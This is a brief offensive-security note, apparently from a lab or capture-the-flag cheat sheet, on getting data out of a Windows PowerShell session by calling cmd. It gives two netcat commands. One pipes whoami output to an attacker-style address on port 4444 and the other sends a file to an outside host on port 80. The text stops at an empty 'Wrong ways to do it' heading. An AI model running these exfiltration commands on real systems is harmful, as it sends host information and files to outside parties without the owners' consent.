Powershell likes to fuck with the encoding of everything and also doesn't like piping raw data so an easy way while in a PS shell is to just use cmd
cmd /c "whoami | ./nc.exe 10.10.14.10 4444"
cmd /c "./nc.exe 1.1.1.1 80 < file.txt"
Wrong ways to do it: